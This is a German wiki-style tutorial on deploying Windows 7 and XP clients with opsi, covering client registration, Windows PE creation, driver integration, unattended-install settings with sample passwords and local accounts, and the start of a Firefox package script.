Diese virtuelle Hardware wird auf eher von den Standardtreibern von Windows unterstuetzt, wenn Sie spaeter eine Testinstallation von Windows durchfuehren. Zur Installation von Windows auf neueren realen Rechnern muessen Sie sehr wahrscheinlich vorab zusaetzliche Treiber integrieren.&lt;br /&gt;
Den Client koennen Sie jetzt mit dem opsi-configed beim opsi-server registrieren. Waehlen Sie den Menue-Punkt OpsiClient / Neuen opsi-Client erstellen und geben Sie ein:&lt;br /&gt;
• IP-Namen,&lt;br /&gt;
• (Internet-) Domain (falls abweichend von der Vorgabe),&lt;br /&gt;
• Beschreibung (fakultativ),&lt;br /&gt;
• IP-Nummer (nur zwingend, sofern der opsi-server DHCP-Server ist),&lt;br /&gt;
• MAC-Adresse der Netzwerkkarte des Clients (zwingend, sofern der opsi-server DHCP-Server ist; andernfalls dringend empfohlen).&lt;br /&gt;
Nach Eingabeabschluss wird der Client dem opsi-server bekanntgemacht und gleichzeitig in der DHCP-Konfiguration als PXE-Client angelegt.&lt;br /&gt;
Ein Client kann auch auf der Kommandozeile per opsi-admin erzeugt werden:&lt;br /&gt;
opsi-admin -d method host_createOpsiClient &amp;lt;client-id&amp;gt; [opsiHostKey] [description] [notes] [hardwareAddress] [ipAddress] [inventoryNumber] [oneTimePassword] [created] [lastSeen]&lt;br /&gt;
z.B.:&lt;br /&gt;
 opsi-admin -d method host_createOpsiClient rechner001 &amp;quot;Windows XP Pro x86 001&amp;quot; &amp;quot;&amp;quot; 00:50:fc:6b:9a:e3 192.168.0.2&lt;br /&gt;
Die Liste der eingerichteten opsi-Clients kann jederzeit im opsi-configed Modus „Client-Konfiguration“ unter dem Reiter Client-Auswahl eingesehen werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hardware-Inventarisierung mit dem netboot-Produkt hwinvent:&lt;br /&gt;
Sofern Sie bereits einen Client eingerichtet haben und das Produkt hwinvent installiert ist, koennen Sie bereits etwas Nuetzliches mit opsi tun:&lt;br /&gt;
Waehlen Sie im opsi-configed, Modus Client-Konfiguration, unter dem Reiter Client-Auswahl den betreffenden Client aus. Wenn noch nicht geschehen, aktualisieren Sie den Datenbestand des opsi-configed mittels Datei/Daten neu laden bzw. Anklicken des entsprechenden Icons. Wechseln Sie zum Reiter Netboot-Produkte, gehen Sie in das Feld &amp;quot;Anstehende Aktion&amp;quot; des Produkts &amp;quot;hwinvent&amp;quot; und waehlen Sie in der dort angebotenen Liste die Aktion &amp;quot;setup&amp;quot;.&lt;br /&gt;
Der Haken in der Icon-Menueleiste sollte seine Farbe auf Rot wechseln. Wenn Sie ihn anklicken, werden die neuen Einstellungen zum opsi-server uebermittelt und die Farbe des Hakens wechselt im Anschluss wieder zu gruen.&lt;br /&gt;
Booten Sie dann den Client. Er sollte jetzt per PXE ueber das Netz ein Linux-Image ziehen, das die Hardware des PCs scannt und dann den Rechner rebootet (wenn der Rechner nicht ansonsten schon eingerichtet war, kommt im Anschluss korrekterweise die Meldung, dass auf der Platte kein Betriebssystem installiert ist).&lt;br /&gt;
Das Ergebnis des Hardware-Scans hat der PC zum opsi-server uebermittelt. Es ist unter dem Reiter &amp;quot;Hardware-Informationen&amp;quot; zu besichtigen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Erstellen eines PE fuer Win7 (x86)&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\PETools\copype.cmd&amp;quot; x86 C:\winpe&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\x86\imagex.exe&amp;quot; /mountrw &amp;quot;C:\winpe\winpe.wim&amp;quot; 1 &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 echo c:\opsi\startnet.cmd &amp;gt; &amp;quot;C:\winpe\mount\Windows\System32\startnet.cmd&amp;quot;&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\x86\imagex.exe&amp;quot; /commit /unmount &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 move &amp;quot;C:\winpe\winpe.wim&amp;quot; &amp;quot;C:\winpe\ISO\sources\boot.wim&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Den Inhalt des Verzeichnis C:\winpe\ISO nach /opt/pcbin/install/win7/winpe kopieren.&lt;br /&gt;
Rechte anpassen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/winpe&lt;br /&gt;
&lt;br /&gt;
Fuer die folgenden Schritte wird ein Arbeitsplatzrechner mit installiertem WAIK (Windows Automated Installation Kit) unter Windows 7 64-Bit benoetigt.&lt;br /&gt;
&lt;br /&gt;
Erstellen eines PE fuer Win7 (x64)&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\PETools\copype.cmd&amp;quot; amd64 C:\winpe&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\amd64\imagex.exe&amp;quot; /mountrw &amp;quot;C:\winpe\winpe.wim&amp;quot; 1 &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 echo c:\opsi\startnet.cmd &amp;gt; &amp;quot;C:\winpe\mount\Windows\System32\startnet.cmd&amp;quot;&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\amd64\imagex.exe&amp;quot; /commit /unmount &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 move &amp;quot;C:\winpe\winpe.wim&amp;quot; &amp;quot;C:\winpe\ISO\sources\boot.wim&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Den Inhalt des Verzeichnis C:\winpe\ISO nach /opt/pcbin/install/win7-x64/winpe kopieren.&lt;br /&gt;
Rechte anpassen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/winpe&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Treiber-Integration&lt;br /&gt;
Die Treiber-Integration verlaeuft analog zu dem Verfahren anderer Windows Versionen: Die Treiber werden unter&lt;br /&gt;
/opt/pcbin/install/win7/drivers/drivers bzw. /opt/pcbin/install/win7-x64/drivers/drivers abgelegt. Danach wird das Script create_driver_links.py aufgerufen.&lt;br /&gt;
&lt;br /&gt;
 cd /opt/pcbin/install/win7&lt;br /&gt;
 python create_driver_links.py&lt;br /&gt;
oder&lt;br /&gt;
 cd /opt/pcbin/install/win7-x64&lt;br /&gt;
 python create_driver_links.py&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bereitstellung der Installationsmedien&lt;br /&gt;
Kopieren der Installations-DVD nach&lt;br /&gt;
/opt/pcbin/install/win7/installfiles bzw. /opt/pcbin/install/win7-x64/installfiles und passen Sie Rechte/Eigentuemer an:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/installfiles&lt;br /&gt;
bzw.&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/installfiles&lt;br /&gt;
&lt;br /&gt;
Anpassungen der Installation, z.B. Proxy oder Administrator Passwort oder Display Aufloesung, kann man unter /opt/pcbin/install/win7/custom/unattend.xml bzw. /opt/pcbin/install/win7-x64/custom/unattend.xml vornehmen, z.B.:&lt;br /&gt;
&lt;br /&gt;
				&amp;lt;AdministratorPassword&amp;gt;&lt;br /&gt;
					&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
					&amp;lt;Value&amp;gt;P@ssw0rd&amp;lt;/Value&amp;gt;&lt;br /&gt;
				&amp;lt;/AdministratorPassword&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
			&amp;lt;AutoLogon&amp;gt;&lt;br /&gt;
				&amp;lt;Enabled&amp;gt;true&amp;lt;/Enabled&amp;gt;&lt;br /&gt;
				&amp;lt;LogonCount&amp;gt;1&amp;lt;/LogonCount&amp;gt;&lt;br /&gt;
				&amp;lt;Username&amp;gt;Administrator&amp;lt;/Username&amp;gt;&lt;br /&gt;
				&amp;lt;Password&amp;gt;&lt;br /&gt;
					&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
					&amp;lt;Value&amp;gt;P@ssw0rd&amp;lt;/Value&amp;gt;&lt;br /&gt;
				&amp;lt;/Password&amp;gt;&lt;br /&gt;
			&amp;lt;/AutoLogon&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
			&amp;lt;Display&amp;gt;&lt;br /&gt;
				&amp;lt;ColorDepth&amp;gt;32&amp;lt;/ColorDepth&amp;gt;&lt;br /&gt;
				&amp;lt;DPI&amp;gt;96&amp;lt;/DPI&amp;gt;&lt;br /&gt;
				&amp;lt;HorizontalResolution&amp;gt;1024&amp;lt;/HorizontalResolution&amp;gt;&lt;br /&gt;
				&amp;lt;RefreshRate&amp;gt;75&amp;lt;/RefreshRate&amp;gt;&lt;br /&gt;
				&amp;lt;VerticalResolution&amp;gt;768&amp;lt;/VerticalResolution&amp;gt;&lt;br /&gt;
			&amp;lt;/Display&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/custom&lt;br /&gt;
bzw.&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation eines neuen Windows Rechners ueber opsi (OS-Installation) (Windows XP x86)&lt;br /&gt;
Kopieren Sie den Inhalt des i386 Verzeichnis einer Installations-CD fuer Microsoft WinXP Professional in das Verzeichnis /opt/pcbin/install/winxppro/i386 auf dem opsi-server. Sorgen Sie anschliessend noch dafuer, dass das Verzeichnis i386 die richtigen Rechte fuer den Zugriff durch den Installationsprozess hat:&lt;br /&gt;
opsi-setup --set-rights /opt/pcbin/install/winxppro/i386&lt;br /&gt;
Statt vom opsi-server aus unter Linux koennen Sie die Dateien auch ueber das Windows-Netzwerk kopieren. Dafuer muessen Sie sich mit der Freigabe opt_pcbin auf dem opsi-server als Benutzer pcpatch verbinden. Das entsprechende Verzeichnis befindet sich auf der Freigabe in install\winxppro.&lt;br /&gt;
Anpassungen der Installation, z.B. Proxy oder Administrator Passwort, kann man unter /opt/pcbin/install/winxppro/custom/unattend.txt vornehmen.&lt;br /&gt;
Z.B.:&lt;br /&gt;
 [GuiUnattended]&lt;br /&gt;
 AdminPassword = P@ssw0rd&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ueber die Management-Oberflaeche unter Netboot-Produkte kann man auch den Aktivation Key fuer die einzelnen Windows Versionen pro Client hinterlegen oder man setzt diesen Global fuer ein Betriebssystem:&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP Pro 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Des Weiteren kann man mit Hilfe von opsi-admin auch weitere Einstellungen wie z.B. orgname, fullname und auch die Windows 7 Version (imagename) vornehmen:&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;imagename&amp;quot; &amp;quot;Windows 7 PROFESSIONAL&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;imagename&amp;quot; &amp;quot;Windows 7 PROFESSIONAL&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Falls man es nicht will das beim Neuinstallieren der Netbootprodukte nachgefragt werden soll ob man dies auch wirklich moechte, kann man folgendes setzen:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Diese Werte kann man sich auch wie folgt anzeigen lassen:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash win7 opsi.oppserver.net&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash win7-x64 opsi.oppserver.net&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash winxppro opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um einen Benutzer der Installation hinzuzufuegen, gehen wir wie folgt vor:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
In /opt/pcbin/install/win7/custom/unattend.xml in der Section &amp;lt;LocalAccounts&amp;gt; folgendes hinzufuegen:&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schulleiter&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Administrators&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schulleiter&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schulleiter&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Lehrer&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Powerusers&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Lehrer&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Lehrer&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schueler&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Users&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schueler&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schueler&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/custom&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
In /opt/pcbin/install/win7-x64/custom/unattend.xml in der Section &amp;lt;LocalAccounts&amp;gt; folgendes hinzufuegen:&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schulleiter&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Administrators&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schulleiter&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schulleiter&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Lehrer&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Powerusers&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Lehrer&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Lehrer&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schueler&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Users&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schueler&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schueler&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/custom&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP funktioniert dies ein wenig anders:&lt;br /&gt;
/opt/pcbin/install/winxppro/custom/\$oem\$/cmdlines.txt mit folgendem Inhalt anlegen:&lt;br /&gt;
 [COMMANDS]&lt;br /&gt;
 &amp;quot;useraccounts.cmd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/opt/pcbin/install/winxppro/custom/\$oem\$/useraccounts.cmd mit folgendem Inhalt anlegen:&lt;br /&gt;
 net user Schulleiter starten /add&lt;br /&gt;
 net localgroup Administratoren Schulleiter /add&lt;br /&gt;
 net user Lehrer starten /add&lt;br /&gt;
 net localgroup Administratoren Lehrer /add&lt;br /&gt;
 net user Schueler /add&lt;br /&gt;
 net accounts /maxpwage:unlimited&lt;br /&gt;
 REGEDIT /S autologon.reg&lt;br /&gt;
 EXIT&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom/\$oem\$&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Moechte man unter Windows XP eine automatische Aktivierung, muss man in /opt/pcbin/install/winxppro/custom/unattend.txt den AutoActivate Wert von No in Yes aendern:&lt;br /&gt;
 AutoActivate = Yes&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
Fuer die Display Aufloesung muss man den folgenden Wert in /opt/pcbin/install/winxppro/custom/unattend.txt aendern:&lt;br /&gt;
 [Display]&lt;br /&gt;
 ConfigureAtLogon = 1&lt;br /&gt;
 BitsPerPel = 32&lt;br /&gt;
 XResolution = 1024&lt;br /&gt;
 YResolution = 768&lt;br /&gt;
 VRefresh = 75&lt;br /&gt;
 ;flags = 0&lt;br /&gt;
 AutoConfirm = 1&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
Will man unter Windows XP kein klassisches Menue/Theme, muss man folgendes in /opt/pcbin/install/winxppro/custom/unattend.txt aendern:&lt;br /&gt;
 [Shell]&lt;br /&gt;
 DefaultStartPanelOff = No&lt;br /&gt;
 DefaultThemesOff = No&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun zur Erstellung der Softwarepakete, die nachher auf den Client Rechner installiert werden sollen.&lt;br /&gt;
Vorlagen fuer die install.ins und uninstall.ins habe ich mir hier https://forum.opsi.org/wiki/userspace:script_templates gesorgt und angepasst.&lt;br /&gt;
Als Beispiel nun einmal fuer Firefox:&lt;br /&gt;
 cd /home/opsiproducts&lt;br /&gt;
 opsi-newprod&lt;br /&gt;
&lt;br /&gt;
Hier geben wir nun einige Daten zu dem Produkt an.&lt;br /&gt;
 Bitte Produkt-Typ auswaehlen&lt;br /&gt;
 localboot -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Produkt-ID       firefox&lt;br /&gt;
 Produkt-Name     Firefox&lt;br /&gt;
 Beschreibung     Firefox Webbrowser&lt;br /&gt;
 Hinweis          Firefox&lt;br /&gt;
 Produkt-Version  16.0.1&lt;br /&gt;
 Paket-Version    1&lt;br /&gt;
 Lizenzpflichtig  False&lt;br /&gt;
 Prioritaet        0&lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Setup-Skript                install.ins&lt;br /&gt;
 Uninstall-Skript            uninstall.ins&lt;br /&gt;
 Update-Skript               &lt;br /&gt;
 Always-Skript               &lt;br /&gt;
 Once-Skript                 &lt;br /&gt;
 Custom-Skript               &lt;br /&gt;
 Benutzer-Anmeldungs-Skript  &lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Wollen Sie eine Produkt-Abhaengigkeit definieren?&lt;br /&gt;
 Nein&lt;br /&gt;
&lt;br /&gt;
 Wollen Sie eine Produkt-Eigenschaft definieren?&lt;br /&gt;
 Nein&lt;br /&gt;
&lt;br /&gt;
 Informationen zum Betreuer&lt;br /&gt;
 Name des Betreuers    Oliver Schuetz&lt;br /&gt;
   E-Mail des Betreuers  admin@oppserver.net&lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Fertig&lt;br /&gt;
 Das Paket-Quellverzeichnis &#039;/home/opsiproducts/firefox&#039; wurde erzeugt.&lt;br /&gt;
&lt;br /&gt;
Jetzt erstellen wir die benoetigten &amp;quot;Install&amp;quot; und &amp;quot;Uninstall&amp;quot;-files, die Anweisungen enthalten, wie das Paket nachher installiert werden soll.&lt;br /&gt;
Die Ordnerstruktur sollte dann wie folgt aussehen:&lt;br /&gt;
 root@opsi:/firefox/#&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2584  4. Jun 20:48 delsub.ins&lt;br /&gt;
 drwxr-xr-x 2 root pcpatch  4096 27. Sep 12:59 files&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch 40074  4. Jun 20:48 icon.bmp&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  4477 27. Sep 12:56 install.ins&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2017  4. Jun 20:48 uninstall.ins&lt;br /&gt;
 root@opsi:/firefox/files/#&lt;br /&gt;
 -rw-r--r-- 1 root root    17653976 27. Sep 10:36 Firefox Setup 16.0.1.exe&lt;br /&gt;
&lt;br /&gt;
Die Datei install.ins sieht wie folgt aus:&lt;br /&gt;
 [Initial]&lt;br /&gt;
 ; Script angepasst von Oliver Schuetz&lt;br /&gt;
 LogLevel=2&lt;br /&gt;
 ;  Log Errors in Logfile but don&#039;t abort:&lt;br /&gt;
 ExitOnError=false&lt;br /&gt;
 ; Show syntax errors in the script:&lt;br /&gt;
 ScriptErrorMessages=on&lt;br /&gt;
 ; Dont trace step by step through the script:&lt;br /&gt;
 TraceMode=off&lt;br /&gt;
 ; let started programs run in front of the winst window&lt;br /&gt;
 StayOnTop=false&lt;br /&gt;
 &lt;br /&gt;
 [Aktionen]&lt;br /&gt;
 DefVar $ProductId$&lt;br /&gt;
 DefVar $InstallDir$&lt;br /&gt;
 DefVar $NewExe$&lt;br /&gt;
 DefVar $PRODUCTPATH$&lt;br /&gt;
 DefStringList $profiles$&lt;br /&gt;
 DefVar $akt_profile_ini$&lt;br /&gt;
 DefVar $rel_prefs_path$&lt;br /&gt;
 DefVar $akt_prefs_path$&lt;br /&gt;
 DefVar $TEMP$&lt;br /&gt;
 DefVar $OS$&lt;br /&gt;
 DefVar $UninstallCommand$&lt;br /&gt;
 DefVar $MozInstallDir$&lt;br /&gt;
 DefVar $MozVersion$&lt;br /&gt;
 DefVar $MozInstallPathRegKey$&lt;br /&gt;
 DefVar $PROXY_HOSTNAME_OR_IP$&lt;br /&gt;
 DefVar $PROXY_PORT$&lt;br /&gt;
 DefVar $NOPROXY_HOSTS$&lt;br /&gt;
 DefVar $PREF_FILE$&lt;br /&gt;
 DefStringList $languageInfo$&lt;br /&gt;
 DefVar $language$&lt;br /&gt;
 DefVar $AppData$&lt;br /&gt;
 DefVar $SilentSwitch$&lt;br /&gt;
 DefVar $ExitCode$&lt;br /&gt;
 DefVar $FIREFOXVER$&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
 ; ----------------------------------------------------------------------&lt;br /&gt;
 Set $TEMP$ = EnvVar(&amp;quot;TEMP&amp;quot;)&lt;br /&gt;
 Set $PRODUCTPATH$=&amp;quot;%ProgramFilesDir%\Mozilla Firefox&amp;quot;&lt;br /&gt;
 Set $MozInstallDir$ = $PRODUCTPATH$&lt;br /&gt;
 set $InstallDir$=$PRODUCTPATH$&lt;br /&gt;
 set $NewExe$= $PRODUCTPATH$+&amp;quot;\&amp;quot;&lt;br /&gt;
 set $ProductId$ = &amp;quot;firefox&amp;quot;&lt;br /&gt;
 set $OS$ = GetNTVersion&lt;br /&gt;
 set $FIREFOXVER$ = &amp;quot;Firefox Setup 16.0.1.exe&amp;quot;&lt;br /&gt;
 set $SilentSwitch$ = &amp;quot;-ms&amp;quot;&lt;br /&gt;
 ; ----------------------------------------------------------------------&lt;br /&gt;
 ; Haben wir genug Speicherplatz?&lt;br /&gt;
 if not(HasMinimumSpace (&amp;quot;%SYSTEMDRIVE%&amp;quot;, &amp;quot;30 MB&amp;quot;))&lt;br /&gt;
    LogError &amp;quot;Nicht genuegend Platz auf C: . 30 MB auf C: fuer Firefox erforderlich.&amp;quot;&lt;br /&gt;
    isFatalError&lt;br /&gt;
    comment &amp;quot;Bearbeitung beenden und Produktschalter auf failed setzen&amp;quot;&lt;br /&gt;
 else&lt;br /&gt;
    comment &amp;quot;Zeige Produkt Bild&amp;quot;&lt;br /&gt;
    ShowBitmap /3 &amp;quot;%scriptpath%\icon.bmp&amp;quot; &amp;quot;Firefox&amp;quot;&lt;br /&gt;
